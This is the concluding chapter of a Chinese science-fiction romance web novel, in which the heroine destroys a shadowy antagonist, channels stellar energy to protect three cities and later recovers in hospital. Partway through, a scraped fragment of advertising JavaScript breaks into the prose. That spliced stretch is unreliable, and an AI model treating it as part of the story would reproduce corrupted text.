他恍惚地捂着胸口,被贯穿的感觉,令人发颤的疼痛依然仿佛还没消退,他看到自己的指尖在发抖。 他愣愣地看向顾深浅,只见一团高大的黑影在她身后,黑气化作了一团尖锐的东西,无情贯穿她胸口。 他似乎能看到她生命的急速流逝。 顾深浅一手握住了胸口黑色的尖端,咽下即将溢出的血腥,咬牙忍着撕裂的疼痛,盯着霍普说:“通知三城,启动城防。” 她的嗓音不知是因为太久没说话还是疼痛,已经全然不似平常,而是带着沙哑的破音。 “快去!” 120. 完结章 “何、正、青。” 目送霍普离开,隔离结界再次封闭,顾深浅嘴角鲜血涌出,在一片金光下显得触目惊心。 她一字一顿地喊出罪魁的名字,同时掌心漫开丝丝金光,循着黑色蜿蜒而上。穿胸而过的利刃快速湮灭在金光里。 洒出的血渍在短短几秒内变深,顾深浅的动作比声音更快。 她骤然转身压制住黑影,手腕横行,同样的金色利刃贴着黑影的脖颈,顾深浅眼中是从未显露过的戾气,嘴角讥讽:“怎么?看着好像有机会杀我,就不卖弄你情深义重的人设了吗?” “我是真的,想保护你。”黑影发出含糊地哭声,“我不是,不是故意的。我也不想……” “拉倒吧。”顾深浅说,“你脑子里有没有执行程序,我一清二楚。” 哭声骤停,没有五官的黑雾中,何正青冷淡的声音传来:“你和你的母亲一样冷漠。” 顾深浅胸口的伤已经愈合了,这会儿却觉疼痛变本加厉。 她无法探知一个人内心的想法,可她很确定,这不是爱过秦宓的人能说出的话。 他不爱秦宓。 并且已经不屑伪装了。 顾深浅突然没有了继续说话的力气:“本来想留你自生自灭,算了。” 手腕突然使力,金色利刃横穿过黑雾,从脖颈处利落地一切两半。 她听着耳边男人痛苦的嘶吼,面无表情地看着黑色消散。她眼中平静无波,这是冷漠地旁观着,像在看一出闹剧。 最后一缕黑色消失,嘶吼声随之淡去,顾深浅倏地失去了全部力气半跪在地,一手撑着身体,喃喃着不知说给谁听:“你早就不是人类了。” 质变消耗了顾深浅的大部分力量,穿胸一刀带走了她泰半的生命力,她拼着意志最后的力量短暂地愈合了伤口,真正杀了何正青后,顾深浅已然是强弩之末。 胸口愈合的伤口再次开始渗血,眼前的金色似乎也黯淡起来。 不…… 还不行。 顾深浅甩甩头瞪大双眼,她盘腿坐下,伤口再次以飞快的速度愈合。她合上眼,星星点点的金色元素将她包围起来,顾深浅再次成了浑然一体的金色。 金色一路从她头顶直冲向上,穿透顶端,连接天轨。 门外驻守的霍普听到动静惊讶地抬头,金灿灿的通道直通天际,盖过所有极光,照亮了浑然一体的黑。 即将把三城城防压垮的力量开始沿着原轨道倒退,源源不断地涌入这条金色通道;上方是 来自太空的,就在地球附近诞生的恒星所爆发的力量,带着看得见或看不见的宇宙尘埃,一同沿着通道涌入黑色建筑,蔓延至四面八方的黑。路过霍普脚下,金属纹路中光芒流淌过短短一瞬,又隐入下方。 这些贮存在曼巴蒂芬金属间的能量将会是他回家路上最好的燃料。 但…… 霍普忧虑的视线落在门上,他暗叹口气,手掌覆在门上:“你还好吗?我能进来吗?” 顾深浅的声音隔着金属传来,仿佛也沾上了金属的冷冽:“我没事。你先不用进来,还有个忙要你帮我。” 沈千峻身穿飞行机甲穿梭在云间,在强大精神力的加持下硬是把机甲开到了限速阈值,在数不清的云层间穿梭而过。 队员的空间技能水平很是一般,无法实现从南极光区到北极光区的极端跨越,沈千峻只好迂回前进,到了分界处的军备所,换上飞行机甲疾速赶过去。 云汉1号回收,云汉2号尚未搭建完毕,朝蝴蝶提前诞生,三城连平民都还没撤离结束π星生物就露了原形…… 实际执行中,局面比他们预料的还要乱得多,而他眼下最重要最亟待解决的,正是这场一切的源头。 他飞过极夜的上空,却没见到以为的混乱。 沈千峻放眼望去,当地办事处在第一时间启动了城防,短暂地挡住了那几秒间铺开的能量。 四处都是联盟驻军,中间夹杂着警署和特监处的人,撤离民众在驻军的包围下井然有序地依次上飞行器。紧急通道也已经设立,按照上报情况,这应该已经是北极光区最后一批民众了。 看不见的耳麦里,徐飞扬的声音传来:“我看你已经进入北极光区境内了,通讯怎么样?能正常听到我说话吗?” “能。”沈千峻说,“目前没发现隔离结界,还是联系不上她吗?” 徐飞扬:“联系不上。我确定是被隔离结界挡住了。还有另一件事也很重要,我们必须搞清楚为什么朝蝴蝶诞生的能量回缩了,是否还会再次炸开。” “知道。” 并且,他总有直觉,这应该是同一件事。 沈千峻怔了怔,忽然问道:“你刚才说‘再次炸开’?” 徐飞扬:“是啊,炸开。杨楠回收云汉1号的同时,朝蝴蝶提前诞生,分界处的地都跟着震了。能量直接从北极光区炸出光圈,科研组说以当时的蔓延速度,十分钟就能跨越三城波及到分界处,还结结实实紧张了一下。” “后来呢?” “后来就好了呗。据说炸出来没一会儿能量就像是被什么吸收了似的,按照原轨道缩回去了。” 沈千峻眉头越皱越紧:“能找到终点定位吗?” “稍等。” 耳麦背景嘈杂起来,三分钟后,沈千峻收到了一个位置。 徐飞扬说:“在海域不一定在海面,你那套机甲潜水距离不深,要不要换套装备?” “不用。” 飞行机甲的速度已经达到阈值,沈千峻的精神力也无法推动它更快,于是看不见的推力在机甲后成了风,推着机甲往那个位置去。 快一点。 再快一点。 他数不清自己飞过了多少座高山,不知道自己跨越了多少土地,眼前终于呈现了白雪皑皑以外的风景。 沈千峻瞳孔骤缩。 定位隶属海域,原本穿过北极光区的平原边界,再飞一会儿就到。可现在,沈千峻身后还是银装素裹,远远望去却不是他印象中的冰蓝海域。 成了望不到尽头的黑。 继续往前,黑色也愈发具象化。 沈千峻能看到上面的金属光泽,布满了诡秘的,看不出规律的纹路,纹路中若隐若现流动着某种强大的力量。 而越靠近,他越能感受到自己精神力的流失。短短不到一分钟,他消失的精神力比他这一路来的消耗都多。 不多时,随着沈千峻的深入,他的精神力已经不足以支撑机甲的飞行。他降落在一片黑色的平面上,固执地朝着定位走去。 就快到了。 “咚——” 踉跄间,沈千峻半摔下去,单膝跪地。他目光坚定地看着前方,什么都没发生似的站起身继续。 他眼前渐渐出现了一栋高耸入云的黑色建筑,纹路和他一路走来的毫无区别,造型像个耸立的椭圆,上面流转的力量明显比外围更盛。 灰白的光柱从天幕中俯冲而下,直直涌入的,正是这栋黑色建筑。 沈千峻的精神力已经完全消失,他现在跟一个体格健硕的普通男人没有区别。甚至由于精神力的快速流失,他要比一个普通人更虚弱。 当他走近时,黑暗丛中却突然想起了脚步声。 脚步声愈发放大,是一个身形高挑的男人,巨大的兜帽遮住了他大半张脸,几乎和这片黑融为一体,但沈千峻还是一眼认了出来,他眯起眼:“霍普。” 霍普看上去并不惊讶,更像是了然了什么。他后退半步,露出后面紧闭的,高挑的大门:“等您好久了,请进吧。” 这门沈千峻也不陌生,他甚至不久前才见过。 正是π星生物的海底基地。 “她在里面。” 大门在沈千峻的身后合上,里面金光熠熠,和外面的黑截然不同。而这一片光芒里,最别致的是中间的一团。 中间的精神体已经看不出人形了,顶上的灰白力量注入其中,又从流散至四面八方。 顾深浅的精神体淡得和里面每一处金色一样,如果不是她传导着这些灰白色的力量,光凭肉眼已经难以区分了。 沈千峻心口像被什么绞着,疼得窒息。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >他一步步来到她面前,轻轻地搂了下她又很快放开,唇瓣贴上额头的位置,混杂着紫金色的海浪标识亮起,绚烂夺目。 紫色元素渐渐流入,撑起了一个掺杂紫色、金色和灰白的精神体,一点点变得饱和起来。 “对不起,我来晚了。” ——“我们应当永远记得这一天——地球历公元214年7月18日,这是人类历史的奇迹。” ——“三城耗时百余年建造的城垣防护,在最后时刻为我们保住了城邦。让我们一起感谢历代的先祖,感谢人类智慧的结晶!” ——“据专家称,城垣防护系统完美地守护住了北极光区及周围三城,这场天灾没能对地球造成重大损失。” ——“蝴蝶星云!一对朝蝴蝶!这颗诞生于人类城市上空的原恒星,在绽放生命的同时,为人类保留了生存的希望。我们在此处,同样看到了人类与天体运动共存的希望,也许从这以后,人类联盟将再次踏上探索的征程,寻找宇宙的真谛!” 春藤医院顶楼001病房。 徐飞扬靠在沙发里,有一句没一句地念着真假参半地实事新闻,饶有兴味。 在联盟的共同努力下,朝蝴蝶的诞生奇迹般地没有对地球造成重大损伤。而借着这次天灾,大部分普通人类觉醒了精神力,根除了混迹在人群中的π星生物。 这几乎是不可思议的结果。 联盟将此次事件定性为天体运动带来的灾厄性事件。同时声明,正是建造百年,不断维护着的城垣防护保住了三城。同时声明,此次时间恰恰证明了人类联盟已经有了充足的准备,是时候再次走出地球,重新去探索广袤无垠的宇宙了。 一时间,铺天盖地的报道席卷而来,从官方新闻到小道消息,无数人在讨论着紧贴着地球诞生的原恒星,有些接近事实,但更多是无端臆测和不明真相的跟风讨论。可大大小小的信息中,没有一条提到真正加固城防、真正规避灾难的人。 “啧。” 床边传来沈千峻的动静,徐飞扬秒懂。这意思是没一句爱听的,听烦了。 他耸耸肩:“你要不爱听,我换研究报告念念?科研处内部报刊上也都是敬佩和感谢的陈词。乔森的工作汇报我也还没看,哦对了,还有送来的感谢信……” “你就不能说点有用的。”沈千峻不耐烦地打断,“织梦呢?” 徐飞扬:“真找不到。各地办事处的眼睛都用上了,不夸张地说,只要他还在这个地球上,哪怕他昏迷在哪个角落,我也该给他找出来了。要么让人藏起来了,要么他搭了霍普离开的顺风车,遨游太空去了。” “周亦知?” “一样。”徐飞扬摸摸下巴,“我直觉他俩应该在一块儿。” 沈千峻没接茬,好像刚才也只是他烦得不行随口一说来转移徐飞扬注意力的。 他目光早已回到了病床上,锁着床上面容祥和的女孩。 顾明朗的结论是短时间内精神力消耗过度导致,现在的昏迷状态是因为正在恢复。等精神领域恢复常态,人自然就醒了。 和去年他们重逢时一样的情景,只是当时是她精神力暴走,相逢不相识;这次是她精神力透支,昏迷了整整一个月。 徐飞扬见他沉默,目光也跟着到了躺着的顾深浅身上,鼻头泛酸。他翻身站起,留下一句“我去看看杨楠”后匆匆出去了。 病房里安静下来,沈千峻捧着她的手搁在下巴上,珍惜而虔诚地低头,吻了她的掌心。 “昨天杨楠也醒了,罗亚在照顾她,她再也不用背负整个云汉,他们可以和所有普通情侣一样走下去。” “霍普已经回家了,我们缔结了契约,一旦他离开银河系,就会忘记地球的位置。” “联盟想再次启动银河探索计划,设备、技术、人员……数不清的问题。” 沈千峻握着她的手贴在自己脸上,低声说:“都是你爱玩的。还不起床吗?” 雪白的天花板下,阳光照得一室静暖,给顾深浅镀上一层似有若无的金色。 沈千峻握着的手指动了动。 -完-